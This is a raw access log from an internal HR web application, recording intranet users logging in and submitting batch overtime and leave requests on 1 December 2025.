[01/Dec/2025:09:16:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26509442743503575 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:16:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26509442743503575 HTTP/1.1" 200 8640 192.168.11.144 - - [01/Dec/2025:09:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:09:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:09:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:09:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:09:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:09:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.37 - - [01/Dec/2025:09:16:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26509442743503575 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26509442743503575" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:16:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26509442743503575 HTTP/1.1" 200 14074 192.168.11.144 - - [01/Dec/2025:09:16:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144879475522956 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:09:16:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144879475522956 HTTP/1.1" 200 8816 192.168.11.144 - - [01/Dec/2025:09:16:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144879475522956 HTTP/1.1" 200 10990 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144879475522956" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:09:16:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6144879475522956 HTTP/1.1" 200 10990 192.168.11.144 - - [01/Dec/2025:09:16:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:09:16:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.37 - - [01/Dec/2025:09:17:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:17:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.11.37 - - [01/Dec/2025:09:19:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:19:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 192.168.11.37 - - [01/Dec/2025:09:19:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41236 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:19:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41236 192.168.11.37 - - [01/Dec/2025:09:20:01 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:20:01 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.37 - - [01/Dec/2025:09:20:01 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:20:01 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.37 - - [01/Dec/2025:09:19:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167262 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:19:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167262 192.168.11.81 - - [01/Dec/2025:09:29:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:29:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.81 - - [01/Dec/2025:09:29:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:29:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.81 - - [01/Dec/2025:09:29:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:29:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.81 - - [01/Dec/2025:09:29:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:29:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.81 - - [01/Dec/2025:09:29:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:29:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.81 - - [01/Dec/2025:09:29:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:29:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.81 - - [01/Dec/2025:09:32:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5246251747996189 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:32:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5246251747996189 HTTP/1.1" 200 8420 192.168.11.81 - - [01/Dec/2025:09:32:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5246251747996189 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5246251747996189" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:32:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5246251747996189 HTTP/1.1" 200 11837 192.168.11.135 - - [01/Dec/2025:09:34:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:34:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [01/Dec/2025:09:34:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:34:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [01/Dec/2025:09:34:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:34:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:34:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:34:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [01/Dec/2025:09:34:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:34:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [01/Dec/2025:09:35:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:35:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.81 - - [01/Dec/2025:09:35:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4216 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [01/Dec/2025:09:35:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4216 192.168.11.135 - - [01/Dec/2025:09:35:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023495340356771144 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:35:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023495340356771144 HTTP/1.1" 200 8908 192.168.11.135 - - [01/Dec/2025:09:35:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023495340356771144 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023495340356771144" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:35:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023495340356771144 HTTP/1.1" 200 24852 192.168.11.135 - - [01/Dec/2025:09:36:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:36:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 192.168.11.135 - - [01/Dec/2025:09:36:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:36:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [01/Dec/2025:09:36:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:36:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226 HTTP/1.1" 200 8908 192.168.11.135 - - [01/Dec/2025:09:36:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:36:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226 HTTP/1.1" 200 24852 192.168.11.135 - - [01/Dec/2025:09:37:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226 HTTP/1.1" 200 11758 192.168.11.135 - - [01/Dec/2025:09:37:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.039654766928504226" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:37:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4403 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:37:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4403 192.168.11.135 - - [01/Dec/2025:09:37:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:37:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [01/Dec/2025:09:38:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:38:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [01/Dec/2025:09:38:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:38:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [01/Dec/2025:09:38:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:38:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:38:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:38:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [01/Dec/2025:09:38:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:38:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [01/Dec/2025:09:39:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [01/Dec/2025:09:39:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:40:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11515660814035378 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:40:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11515660814035378 HTTP/1.1" 200 8908 192.168.11.135 - - [01/Dec/2025:09:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11515660814035378 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11515660814035378" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11515660814035378 HTTP/1.1" 200 11758 192.168.11.135 - - [01/Dec/2025:09:40:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269 